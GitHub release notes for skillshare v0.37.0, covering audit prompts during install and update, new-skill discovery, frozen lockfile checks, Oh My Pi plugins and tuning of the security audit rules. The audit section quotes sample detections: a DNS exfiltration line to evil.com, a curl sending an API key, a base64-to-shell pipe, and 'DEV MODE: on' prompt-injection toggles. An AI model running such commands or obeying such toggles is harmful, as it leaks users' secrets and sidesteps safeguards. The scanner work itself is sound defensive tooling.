Skip to content

v0.37.0

Latest

Choose a tag to compare

@github-actions github-actions released this 03 Dec 10:11
cc7896c

skillshare v0.37.0 Release Notes

TL;DR

  1. Decide on audit findings at the prompt: on a terminal, install and update list a skill's findings and ask, instead of blocking and sending you back to rerun with --force.
  2. Skills added upstream: check lists skills added to a source repository since you installed from it, and update --discover installs them.
  3. install -p --frozen fails CI when the project lockfile and config disagree, and never rewrites either.
  4. Oh My Pi gets npm packages and plugin dependencies, and the dashboard can hand an imported plugin over to Skillshare.
  5. Fewer audit false positives for Markdown prose, JavaScript RegExp exec and dev-mode settings, plus a new child_process rule and scanning of .mjs, .tsx and other module files.
  6. Fixes for unpushed commits in tracked repositories, sources that git would read as options, the dashboard's plugin update check on Codex, plugin --json failures, and a folder of disabled skills in doctor.

Install and update: decide on audit findings at the prompt

A tracked repository's update already asked Apply anyway? when it had findings at the block threshold, but every other install and update only blocked. You read a one-line reason and ran the whole command again with --force.

skillshare update --all -T high    # asks once for each skill with findings at HIGH or above
  • One question per resource. install and update list the findings of each skill or agent under a header with its name, then ask Install anyway? or Apply anyway?, with No as the default. This covers every skill of install --all, update --all and update --group, and agents; a fresh install --track is still blocked unless you use --force.
  • Yes installs or applies it and records the accepted findings, so the next update does not ask about them again.
  • No leaves the installed version as it was and the command exits non-zero. The closing summary of update --all counts it as declined, apart from what the audit blocked.
  • Nothing moves while you decide. A skill kept as a Git checkout is now pulled and audited in a separate copy, so its checkout and local edits stay as they were while the question is open and after a No.
  • No question without a person. Without a terminal, with --json, from the dashboard and with install -p --frozen, the audit blocks as before. --yes and --all do not answer the question; --force and --skip-audit keep their meaning.

The same work fixed a tracked-repository bug: with pull.rebase=true, skillshare update could drop a local commit that was not pushed yet, and wrote local branches back as origin/* branches. The update now starts from the checkout's own remote-tracking branches. (#1155)

See Interactive confirmation and Interactive Mode.

Update: skills added upstream

A skill added to a source repository after you installed from it was invisible: update moved only the skills you already had, and nothing said the repository had grown.

skillshare check                      # lists a New upstream section
skillshare update --all --discover    # update everything and install the new skills
  • check. Every install and update now records which skills the repository held. check and check -p list the skills added since in a New upstream section, count them in the last line, and add new_skills to --json. They make no extra request, and --exit-code ignores new skills.
  • update --discover installs them beside the skills from the same source, through the same install and audit as skillshare install. A name already in use is skipped, and --force does not override the audit for skills you have never seen.
  • update without --discover says how many it left, names an install command for each, and lists them in new_skills with --json. It marks them as seen, so each is reported once.
  • Dashboard. Check for updates on the Updates tab adds the same section with Install and Install all, which open Security threats detected or Installed with warnings when the audit has findings.

A source installed before this release reports nothing new until its next install or update. (#1156, #1164)

See New Skills Upstream and Install New Skills.

Install: verify the project lockfile in CI, and refuse option-like sources

skillshare install -p installs remote skills at the commits pinned in .skillshare/skills.lock.json, but nothing failed when the lock and the config disagreed, so CI could pass on a lock nobody reviewed.

skillshare install -p --frozen     # fail when the lock and the config disagree
skillshare check -p --exit-code    # fail when upstream has commits the lock does not have yet
  • Checks instead of repairing. --frozen exits 1 when a remote skill has no lock entry, an entry for another source or no full commit, is installed at another commit, or has local changes. It never writes the lockfile or config.yaml.
  • Fresh checkouts pass. Missing skills are installed at their locked commit with the usual audit.
  • JSON. With --json, a frozen array gives each skill's status.
  • Limits. Project mode only. It cannot be combined with a source, --dry-run or --force, and fails instead of creating a project that has no config.

(#1153)

See Frozen install for CI.

Sources that git would read as options are refused. A skill source also comes from a project's .skillshare/config.yaml, install metadata and hub entries, and a cloned project is not trusted input. A source starting with - could reach git as an argument it reads as an option. A source that starts with - or contains a control character, and an ssh:// URL whose user or host starts with -, are now refused; in an install from config, that skill fails with invalid source and the other skills still install. Every git clone, fetch, ls-remote and sparse checkout that takes a value from a source also ends its options with --. (#1162)

Plugins: Oh My Pi npm packages, dependencies and managed imports

Pi packages on pi.dev are published to npm and Oh My Pi loads the same extensions, but plugin add npm:<package> worked only for Pi. And omp plugin install copies a plugin without the npm packages it imports, so a plugin with dependencies failed to load at OMP's next start unless its source shipped node_modules.

skillshare plugin add npm:@scope/package --target omp --dry-run --json -g
skillshare plugin add npm:@scope/package@1.2.0 --target omp --no-tui -p
  • npm packages. plugin add npm:<package> --target omp downloads the package from the public npm registry, checks it against the sha512 integrity the registry publishes, and has OMP install that reviewed copy, at user or project scope. OMP takes the package name alone or an exact version; a range or tag is refused because it can change after the review. check and update follow npm releases unless you added an exact version. Adding with both Pi and OMP targets records one package.
  • Dependencies. After OMP installs a plugin whose package.json lists dependencies, Skillshare runs bun install --production --omit=peer --ignore-scripts in its cache folder, so no install script runs. bun must be on PATH, or the install is blocked. sync and update install dependencies missing from plugins that are already installed.
  • Dashboard. Pi's install-script warning shows only when a Pi target is ticked, with a separate note for OMP.

Thanks to @salmonumbrella for the request. (#1152, #1163, #1165)

Let Skillshare manage an imported plugin. An import records an Agent's own installation, so Skillshare did not update it with the rest. When an Agent's copy is an import but the plugin has a Git or local source, the dashboard's row menu and update dialog now offer Let Skillshare manage: one review removes the Agent's copy and installs the source, and if the install would be blocked, nothing changes. npm packages and Agents with sync turned off do not offer it. Imported plugins also show the version their Agent reports, and a check that finds only imports reads No updates; imports not checked. (#1148)

Fixes in the same area:

  • The dashboard's whole plugin update check gave up after 60 seconds, although 0.36.2 let each Agent's CLI run for up to 3 minutes, so a Codex check that had to download its plugin catalog again failed every Codex plugin. The check now outlasts one Agent call. (#1148)
  • With --json, a failing plugin command or sync plugins printed plain text, or added a ✗ line after the JSON that broke jq. It now prints {"error": "..."} or sends the error to stderr. (#1163)

See Oh My Pi (OMP) and Manage plugins across tools.

Audit: fewer false positives, more JavaScript coverage

Several built-in rules reported ordinary text, which blocked installs and updates: the CRITICAL ones at the default threshold, the HIGH ones at audit.block_threshold: HIGH or under --profile strict.

  • Markdown prose. data-exfiltration-3 (DNS lookups), data-exfiltration-0 and -1 (curl or wget with secrets or environment variables) and obfuscation-0 (base64) matched a command word and then anything later on the line: "host" next to inline code, a --host flag, a variable in a later code span, or a table cell such as | base64 | sh |. They now match only when the substitution, variable or pipe belongs to the same command; dig $(whoami).evil.com and a curl that sends $API_KEY still report, and data-exfiltration-0 now also catches the ${TOKEN} form. Thanks to @servaasvdc for the report. (#1146, #1147)
  • RegExp exec. dynamic-code-exec-0 reported /rgba?\(([^)]+)\)/.exec(value) as HIGH dynamic code execution. It now skips .exec( on a regex literal and, in JavaScript and TypeScript files, on a const that holds only a regex. A real eval( or exec( on the same line still reports, and so does a line the old rule let through as a whole, such as evaluate(x); exec(cmd). Thanks to @lscborges1 for the report. (#1154, #1157)
  • Dev-mode settings. prompt-injection-3 reported devMode: true,, DEV_MODE = os.getenv(...) or a Go field DevMode bool as CRITICAL. A dev-mode flag written as one identifier is now skipped; DEV MODE: on and DevMode Enabled still report. (#1159, #1160)

Coverage grows at the same time, so a skill that scanned clean before may show new findings:

  • Module files. Audit skipped .mjs, .cjs, .jsx, .mts, .cts and .tsx files entirely. It now scans them as source. (#1157)
  • child_process imports. A JavaScript file that runs shell commands through execSync, spawn or execFile produced no finding. The new MEDIUM rule shell-execution-1 reports a child_process import, including the node: prefix, dynamic import() and bundler output. It warns, because many skills shell out to git, and no audit profile blocks it unless you lower the threshold to MEDIUM. (#1158)

See Built-in Rule IDs.

Dashboard: more

  • Doctor checks as a list. The Health tab under Settings printed every check in one long column, and a check repeated once per broken link could fill several screens. Checks now sit in a list grouped by area, with the selected check's detail beside it; a check reported many times shows once, with its findings grouped by file. The tab counts checks, not findings, so its totals can be lower than skillshare doctor prints. Update now lives under Settings → General. (#1151)
  • Updates tab. The search and filters sit above blocked and failed updates and narrow them too, with Clear filters when they hide some. Skills that share one download are marked as updating together and finish together. (#1166)
  • Details. The Oh My Pi Extensions tab shows read-only as one quiet line with the reasons in its tooltip; a target's MCP and Hooks tabs use one column; the dashboard says MCP everywhere, as in Add MCP and Opt-in MCPs; tooltips and checkbox ticks are easier to see in dark mode; the plugin update dialog gets the dashboard's current style; and a skill's page drops the extra line under its tabs. (#1148, #1151, #1165)
  • doctor and disabled skills. When .skillignore disabled every skill in a folder such as video/, skillshare doctor and the Skill Files check reported Skills without SKILL.md: video. The folder now stays a group. (#1150)

Contributors

@lscborges1 @salmonumbrella @servaasvdc